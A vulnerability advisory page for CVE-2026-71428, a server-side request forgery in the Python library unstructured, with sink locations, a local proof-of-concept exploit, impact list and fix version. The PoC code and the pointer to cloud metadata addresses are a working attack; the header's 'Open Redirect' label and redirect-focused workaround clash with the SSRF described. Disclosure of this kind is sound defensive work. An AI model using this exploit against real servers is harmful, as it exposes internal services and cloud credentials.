CVE-2026-71428 is a critical-severity (CVSS 9.3) Open Redirect vulnerability in unstructured. A fix is available for unstructured — see the affected versions and patch details below.
unstructured: Server-Side Request Forgery in the URL-based partitioning
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-71428.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-71428 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 382,795 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
unstructuredReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Server-Side Request Forgery in unstructured. The url= argument of partition(), partition_html(), and partition_md() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.
unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.
Details
Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):
unstructured/partition/auto.py:303—file_and_type_from_url(), reached viapartition(url=…).unstructured/partition/html/partition.py:160—partition_html(url=…). Post-fetchContent-Typecheck runs after the request hits the target.unstructured/partition/md.py:96—partition_md(url=…). No timeout (SSRF + slow-loris DoS).
None of is_private, is_loopback, ipaddress, gethostbyname, or allow_redirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allow_redirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.
PoC
Local-only. pip install unstructured==0.22.26 flask requests.
internal_server.py:
from flask import Flask, Response, jsonify
app = Flask(__name__)
@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")
@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)
exploit.py — uses the public top-level API:
# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"
# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")
In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.
Impact
Attacker capabilities:
- Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.
- Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (
metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires aPUTfor token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping. - Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks.
- Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | unstructured | ≥ 0.4.7&&< 0.24.0 | 0.24.0pip install --upgrade 'unstructured==0.24.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for unstructured, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update unstructured to 0.24.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71428 is resolved across your whole dependency graph.
Workarounds
Stop reflecting attacker-controlled destinations: resolve every redirect target against an allowlist of paths or hosts you own, prefer a server-side key over a full URL in the request, and reject absolute URLs entirely where the flow only ever needs a relative one.
Frequently Asked Questions
Is CVE-2026-71428 in your dependencies?
Find it across PyPI, including transitive dependencies.